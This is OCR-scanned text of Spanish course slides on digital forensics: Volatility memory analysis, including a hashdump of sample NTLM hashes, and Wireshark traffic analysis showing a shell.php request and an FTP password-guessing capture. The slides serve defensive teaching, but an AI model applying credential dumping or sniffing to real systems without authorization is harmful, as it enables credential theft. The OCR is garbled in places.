O=0000bbde7bbB4aBd 32763 1 R—r— ‘\Device\HarddiskVolume2‘\Windows? tra peoReRa
0=0000bb0e7bbB69ch 32781 1 R—r— ‘\Device‘\HarddiskVolume2%Program hlﬂdﬂw:hpp: N1¢IDJG+T windowsc

SRS s s s =l sl s 1 S L2 T =T=11 i i iy ! ATRE =k H AT 1 1 < e\ AN 1iTe 1y Sy . AN jgheyeto I oy =
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Il - Forense - Memoria RAM

Archivos 1l

Los archivos pueden ser extraidos del dump, siempre que se
conozca el offset de memoria y que estén cacheados

dumpfiles: extrae un determinado fichero de La RAM

) o volatility —-f imagen.vmem ——profile=WinXPSP2x86 filescan | grep .wav
Volatility Foundation Volatility Framework 2.6.1

Px00000000015ac6b0 1 @ R——rw- \Device\HarddiskVolumel\WINDOWS\Media\Windows XP Startup.wav
0x00000000018d82c0 1 @ R——rw— \Device\HarddiskVolumel\WINDOWS\Media\Windows XP Balloon.wav

[ volatility —-f imagen.vmem —--profile=WinXPSP2x86 dumpfiles —--dump-dir=. -Q 0x00000000015ac6b@
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject @9x@15ac6b® None \Device\HarddiskVolumel\WINDOWS\Media\Windows XP Startup.wav
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Hashes

Los hashes son un tipo de encriptacion no reversible (es decir,
no se puede volver al texto original). Las contrasenas se suelen

guardar asi

hashdump: muestra los hashes que se encuentren en
memorio

~/Documentos/dump
dump. raw "Win/5P1x64" hashdump

Volatility Foundation Volatility Framework 2.6.1

Administrador:500:aad3b435b51404eeaad3b435b51404ee:31dbcte@dl6ae931b73¢c59d/7e0c@89cO: ::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@dl6ae931b73¢c59d7e0c089ch: : :
Admin:1000:aad3b435b51404eeaad3b435b51404ee:62234517c6b66dc7839f0da943bd29ee: : :
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Y mucho mas...

Volatility dispone de una enorme
cantidad de plugins, que se
consultar con la opcion -h

$> volatility -h

handles
hashdump
hibinfo
hivedump
hivelist
hivescan

lehistory
imagecopy
imageinfo
impscan
joblinks
kdbgscan
kpcrscan
ldrmodules
1lsadump
machoinfo
malfind
mbrparser
memdump
memmap

moddump
modscan
modules
multiscan
mutant
notepad

objtypescan

patcher
poolpe
print
privs
procdump
pslist
psscan
pstree
psxview

Print list of open handles f each process
Dumps passwords hashes (LM/NTLM) from memory
Dump hibernation file information
Prints out a hive
Print list of registry hives.
Pool scannmer for registry hives
Extract physical memory from an HPAK file
Info on an HPAK file
Display Interrupt Descriptor Table
Reconstruct Internet Explorer cache
Copies a physical address space out
Identify information for the image
Scan for calls to imported fumctions
Print process job link information
Search for and dump potential KDBEG

ch for and dump potential KPCR

ct unlinked DLLs
Dump (decrypted) LSA secrets from the registry
Dump Mach-0 file format information
Find hidden and injected code
Scans for and parses potential Master
Dump the addressable memory for a process
Print the memory map
List desktop and thread window message ho
Scans for and parses potential MFT entrie
Dump a kernel driver to an executable fil
Pool anner for kernel modules
Print list of loaded modules
Scan for various object
Pool scanner for mut
List currently displ
Scan for Windows cbject type objects
Patches memory based on page scans

Print a registry key, and its subkeys and values
Display process privileges

Dump a process to an exe

Print all rumning proce

Pool anner for proce

Print process lis ;

Find hidden processes wi various process listings
Dump Qemu informa

Converts a physical memory sample to a windbg
Save a pseudo-5cC nshot based on GDI windows
List Windows se (ala Plugx)

Prints ShellBags 0

Parses the Application Compatibility
Print ShutdownTime of machine from
Print list of open sockets

Clara Contreras e Ignacio Sanchez
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Practica time

Analiza el dump
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Il - Forense - Trafico de red

Analisis de trafico

Analizar las comunicaciones entre diferentes usuarios/equipos
permite descubrir malware, ataques, infracciones de
seqguridad...

Generalmente, permite descubrir, entre otros:
- Navegacion en paginas web
. Exfiltraciones de datos
. Conexiones maliciosas
. Credenciales en texto claro

Clara Contreras e Ignacio Sanchez
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Il - Forense - Trafico de red

Wireshark

Dos funciones:
. “Sniffer”: Permite capturar los paquetes de una red
. Analisis: Dado un archivo con paquetes de red (extension
.pcap), permite analizarlo, utilizar filtros, leer los mensajes
en texto claro...
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L i ¥ |
: |
] 4
-
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- . .
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¥ t [ 1 i
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. P & |
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I Capture.pcapng =1F3

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

465 36.53758.. 192.168.
466 36.53792.. 192.168.
467 36.54057.. 192.168.

.147 192.168.
.115 192.168.
.115 192.168.

.115 TCP 73 80 - 53734 [PSH, ACK] Seg=1 Ack=415 Win=65024 Len=7 TSval=14¢
.147 TCP 66 53734 - 80 [ACK] Seq=415 Ack=8 Win=64256 Len=0 TSval=1701958:
.147 TCP 7553734 - 80 [PSH, ACK] Seq=415 Ack=8 Win=64256 Len=9 TSval=17¢C -

AmseomRE Qes2EF IS = QAQQE
(W [Apply a display filter ... <Ctrl-/> -] +
No. Time Source Destination Protocol Lengtt Info =
447 32.24296.. 192.168.0.147 192.168.0.115 TCP 74 52670 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK PERM=1 1
448 32.24516.. 192.168.0.115 192.168.0.147 TCP 74 80 - 52670 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS5=1460 S/
449 32.24518.. 192.168.0.147 192.168.0.115 TCP 66 52670 - 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=140780498¢
. .. 192.168.0. .168.0. 407 GET /shell.php HTTP/1.1
451 32.24589.. 192.168.0.115 192.168.0.147 TCP 66 80 - 52670 [ACK] Seq=1 Ack=342 Win=64896 Len=0 TSval=1701954¢
i 452 32.24864.. 192.168.0.115 192.168.0.147 TCP 74 53734 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK PERM=1 1
i 453 32.24867.. 192.168.0.147 192.168.0.115 TCP 74 80 - 53734 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 S/
i 454 32.24908.. 192.168.0.115 192.168.0.147 TCP 66 53734 - 80 [ACK] Seqg=1 Ack=1 Win=64256 Len=0 TSval=170195410]
i 455 32.25470.. 192.168.0.115 192.168.0.147 TCP 172 53734 - 80 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=106 TSval=17¢
i 456 32.25472.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=107 Win=65152 Len=0 TSval=1407804¢—
i 457 32.27156.. 192.168.0.115 192.168.0.147 TCP 265 53734 - 80 [PSH, ACK] Seq=107 Ack=1 Win=64256 Len=199 TSval=]
i 458 32.27159.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=306 Win=65024 Len=0 TSval=1407805¢C
i 459 32.27581.. 192.168.0.115 192.168.0.147 TCP 120 53734 - 80 [PSH, ACK] Seq=306 Ack=1 Win=64256 Len=54 TSval=1j
] 460 32.27585.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=360 Win=65024 Len=0 TSval=1407805¢
i 461 32.27781.. 192.168.0.115 192.168.0.147 TCP 78 53734 - 80 [PSH, ACK] Seq=360 Ack=1 Win=64256 Len=12 TSval=1J
i 462 32.27786.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=372 Win=65024 Len=0 TSval=1407805¢
| 463 32.27812.. 192.168.0.115 192.168.0.147 TCP 109 53734 - 80 [PSH, ACK] Seq=372 Ack=1 Win=64256 Len=43 TSval=17
| 464 32.27813.. 192.168.0.147 192.168.0.115 TCP 66 80 - 53734 [ACK] Seq=1 Ack=415 Win=65024 Len=0 TSval=1407805¢
0 0
| 0 0
| 0 0

L]

» Transmission Control Protocol, Src Port: 52670, Dst Port: 80, Seq: 1, Ack: 1, Len: 341 =
- Hypertext Transfer Protocol
» GET /shell.php HTTP/1.1\r\n

Host: 192.168.0.115\r\n

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;q=0.8\r\n

Accept-Language: en-US,en;q=0.5\r\n

Accept-Encoding: gzip, deflate\r\n

DNT: 1\r\n .
0000 08 00 27 92 a2 af 00 6¢c 29 4a b9 cd 08 00 45 00 - )J-- - E- =
0016 01 89 bo 1d 40 00 40 66 06 fb cO a8 00 93 cO a8 - @@ - - -
0020 00 73 cd be 00 50 01 9f 1c bb 87 ¢6 14 06 80 18 s P

@ ¥ Capture.pcapng Packets: 907 - Displayed: 907 (100.0%) Profile: Default

Clara Contreras e Ignacio Sanchez



Universidad

7~ Il - Forense - Trafico de red

Flujos HTTP

Los flujos HTTP son -
conversaciones entre dos

equipos, formadas por muchos oa0uet® 2
paquetes. Wireshark permite

visualizarlas de manera mas Paquet
grafica B -7
ﬂ
e A
paguet
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Seguir flujo HTTP

Lengtt Info =
62 3372 - 80 [SYN] Seq=0 Win=8760 Len=0 MSS=1460 SACK PERM=1
62 80 - 3372 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1380 SACK PERM=1
54 3372 - 80 [ACK] Seq=1 Ack=1 Win=9660 Len=0

533 GET /download.html HTTP/1.1

54 80 - 3372 [ACK] Seq=1 Ack=48( Mark/unmarkPacket ctri+i

14.. 80 - 3372 [ACK] Seq=1 Ack=48( lgnore/Unignore Packet Ctri+D of a reassembled PDU]
54 3372 - 80 [ACK] 5EE|=4BB Ack= Set/Unset Time Reference Ctrl+T

14.. 80 - 3372 [ACK] Seq=1381 Acks Time Shift.. Cri+shift+T lent of a reassembled PDU]
54 3372 - 80 [ACK] Seq=480 Ack=] Packet Comment... Ctrl+Alt+C

14.. 80 - 3372 [ACK] Seq=2761 Ack: Edit Resolved Name ent of a reassembled PDU]

14.. 80 - 3372 [PSH, ACK] Seq=414]
54 3372 - 80 [ACK] Seq=480 Ack=!
89 Standard query 0x0023 A page:

14.. 80 - 3372 [ACK] Seq=5521 Ack: _ ,
54 3372 - 80 [ACK] Seq=480 Ack={ Clorize Conversation *

14.. 80 - 3372 [ACK] Seq=6901 Ack: _>5CP

Apply as Filter | segment of a reassembled PDU]

Prepare as Filter r

Conwversation Filter b
ent of a reassembled PDU]

188 Standard query response 0x00RNELCL CNAME
775 GET /pagead/ads?client=ca-pul copy at=468:

54 3372 - 80 [ACK] Seq=480 Ack={ protocol Preferences , -
14..80 - 3372 [ACK] Seq=8281 Ack:i pecode as..

14..80 - 3372 [PSH, ACK] Seq=966! . = o ietin New Window DU]

54 3372 - 80 [ﬂl.[:K] 5EE|=4BB Ack=Irvar win=suvuu Cen=u

14.. 80 - 3372 [ACK] Seq=11041 Ack=480 Win=6432 Len=1380 [TCP segment 0T a reassemuleud FDU] -
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= Wireshark - Follow HTTP Stream (tcp.stream eq 0) - http.cap [=][O][x]

GET /download.html HTTP/1.1

Host: www.ethereal.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20840113

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=08.9,text/plain;q=0.8,1image/png,image/jpeg,image/gif;q=0.2,%/*;q=0.1
Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8B59-1,utf-8;0=0.7,%;0=0.7

Keep-Alive: 3080

Connection: keep-alive

r‘ Referer: http://www.ethereal.com/development.html

(@]

Petici

HTTP/1.1 200 OK

Date: Thu, 13 May 2004 10:17:12 GMT

Server: Apache

Last-Modified: Tue, 28 Apr 2004 13:17:80 GMT
ETag: "9a0la-4696-7e354b00"

Accept-Ranges: bytes

Content-Length: 18678

kKeep-Alive: timeout=15, max=108

Connection: Keep-Alive

Content-Type: text/html; charset=IS0-8859-1

=Fxml version="1.8" encoding="UTF-8"7=
o b ‘ Respuesta
PUBLIC "-//W3C//DTD XHTML 1.8 Strict//EN"
"DTD/xhtmll-strict.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en" lang="en">
<head=
<title=Ethereal: Download</title=
<style type="text/css” media="all"=
@import url("mm/css/ethereal-3-0.css5");
=fstyle=
=/head=
<body=
<div class="top">
<table width="108%" cellspacing="0" cellpadding="8" border="8" summary=""=
<tr=
<td walion="middle" width="1"= W
Packet 4. 1 client pkt, 1 server pkt, 1 tum. Click to select.

Entire conversation (18kB) - Show data as | ASCII -
Find: | Hndﬂeﬂ:l
Filter Out This Stream Print Save as... Back X Close % L Help
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Objetos

Los objetos representan archivos que se han transmitido
durante la comunicacion.

Objeto: Por ejemplo,

[‘ un archivo Word
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Objetos

-

m Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Open Ctrl+0 S E B == r
Open Recent .I:*E}:]![;—‘ — aaai—
Merge...

f Import from Hex Dump... stination Protocol
Close Ctrl+W .208.228.223 TCP

5.254.160.2.. TCP
.208.228.223 TCP

Save As... Ctrl+5Shift+5 5 954.160.2.. TCP
File Set '1.208.228.223 TCP
Export Specified Packets... 5.254.160.2.. TCP
Export Packet Dissections »15.254.160. 2. TCP
Export Packet Bytes... ctri+shit+x 1.208.228.223 TCP
Export PDUs to File... 5.254.160.2.. TCP
Export TLS Session Keys... .208.228.223 TCP

| MY A . .Y

. TCP

Export Objects DICOM...

_ | 3 TCP
Print... Ctri+P TCP
Quit Ctri+Q TCP

33 4.356264 145.254.160.2.. 65 3 TCP

34 4.496465 65.208.228.223 1 TFTP... TCP

35 4.496465 145.254.160.2.. 65.208.228.223 TCP
38 4.846969 65.208.228.223 145.254.160.2.. HTTP/XML

39 5.017214 145.254.160.2.. 65.208.228.223 TCP
40 17.905747 65.208.228.223 145.254.160.2.. TCP
41 17.905747 145.254.160.2.. 65.208.228.223 TCP
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Wireshark - Export - HTTP object list x

Packet ~ Hostname Content Type Size Filename =
54 www.msftncsi.com text/plain 14 bytes ncsi.txt
132 api.bing.com text/htmil 1,305 bytes gsml.aspx?qus
163 api.bing.com text/htmil 1,346 bytes gsml.aspx?qus
177 api.bing.com text/htmil 1,369 bytes gsml.aspx?qus
198 api.bing.com text/htmil 1,398 bytes gsml.aspx?qus
212 google.com text/htmil 219 bytes |
226 www.google.com text/htmil 231 bytes |
1858 www.google.com text/htmil 1,058 bytes url?sa=t&rct=
1904 www.bluproducts.com text/html 19 kB !
1955 www.bluproducts.com text/css 7,321 bytes default iceme
1972 www.bluproducts.com textjcss 331 bytes default_notjs.c
2109 www.bluproducts.com textjcss 63 kB widgetkit-2411
2136 www.bluproducts.com application/x-javascript 4,707 bytes core-Bl6dedc!
2139 www.bluproducts.com application/x-javascript 657 bytes caption-5e0b3
2280 www.bluproducts.com application/x-javascript 20 kB widgetkit-34c:
2390 www.bluproducts.com application/x-javascript 18 kB cufon-yui-1d1i
2545 www.bluproducts.com application/x-javascript 95 kB mootools-core
2560 www.bluproducts.com application/x-javascript 93 kB jguery-Taeb7c
2689 www.bluproducts.com application/x-javascript 4,784 bytes core.js
2728 platform.linkedin.com text/javascript 3,768 bytes in.js
2743 www.bluproducts.com textjcss 132 kB template-897f
2784 www.bluproducts.com application/x-javascript 22 kB template-3f20
2898 www.bluproducts.com image/png 19 kB facebook.png
2990 www.bluproducts.com image/png 22 kB Twitter.png
3060 www.bluproducts.com image/png 44 kB googleplus.pn
3066 s.amazon-adsystem.com image/gif 43 bytes iui3?d=3p-hbc
3145 www.bluproducts.com image/png 19 kB mail.png -
L b
Text Filter: ||

Help Save All Close Save
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Filtros de Wireshark

Los paquetes se pueden filtrar en base a diferentes campos:

Direcciones IP Protocolos Operadores
. IP: ip.addr == 10.10.50.1 . tcp - and o &&
- Origen: ip.src ==10.10.50.1 - udp - or o ||
- Destino: ip.dst == 10.10.50.1 - dns « XOr o AA
- Subred: ip.addr ==10.10.50.1/24 - http - hot o!
. ftp
Texto

- Edit Find packet String
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Filtros de Wireshark

| N | ftp.request && ip.src == 192.168.0.147

No. Time Source Destination Protocol Lengtt Info
241 4.035759.. 192.168.0.147 192.168.0.115 FTP 78 Request: USER jenny
269 4,043289.. 192.168.0.147 192.168.0.115 FTP 78 Request: USER jenny
273 4.108928.. 192.168.0.147 192.168.0.115 FTP 81 Request: PASS football
274 4,121641.. 192.168.0.147 192.168.0.115 FTP 79 Request: PASS 000000
2754.121775.. 192.168.0.147 192.168.0.115 FTP 83 Request: PASS 1234567890
276 4.133276.. 192.168.0.147 192.168.0.115 FTP 61 Request: PASS computer
277 4.139140.. 192.168.0.147 192.168.0.115 FTP 61 Request: PASS superman
278 4.140089.. 192.168.0.147 192.168.0.115 FTP 81 Request: PASS internet
279 4.141101.. 192.168.0.147 192.168.0.115 FTP 84 Request: PASS passwordl23
280 4.141239.. 192.168.0.147 192.168.0.115 FTP 81 Request: PASS lgaz2wsx
281 4.143016.. 192.168.0.147 192.168.0.115 FTP 79 Request: PASS monkey
282 4.143070.. 192.168.0.147 192.168.0.115 FTP 80 Request: PASS michael
283 4.143117.. 192.168.0.147 192.168.0.115 FTP 79 Request: PASS shadow

Hemos usado dos filtros concatenados con (&&)

. ftp.request =» Nos muestra todas las "request” del protocolo ftp
Il. Ip.src == 192.168.0.147 = Nos muestra todos los paquetes que vienen de la IP "192.168.0.147
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Practica time

Analiza el archivo .pcap
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